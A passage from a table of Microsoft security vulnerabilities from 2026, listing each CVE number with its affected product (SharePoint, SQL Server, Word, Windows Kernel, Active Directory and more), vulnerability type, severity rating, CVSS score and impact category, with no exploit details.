\n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows 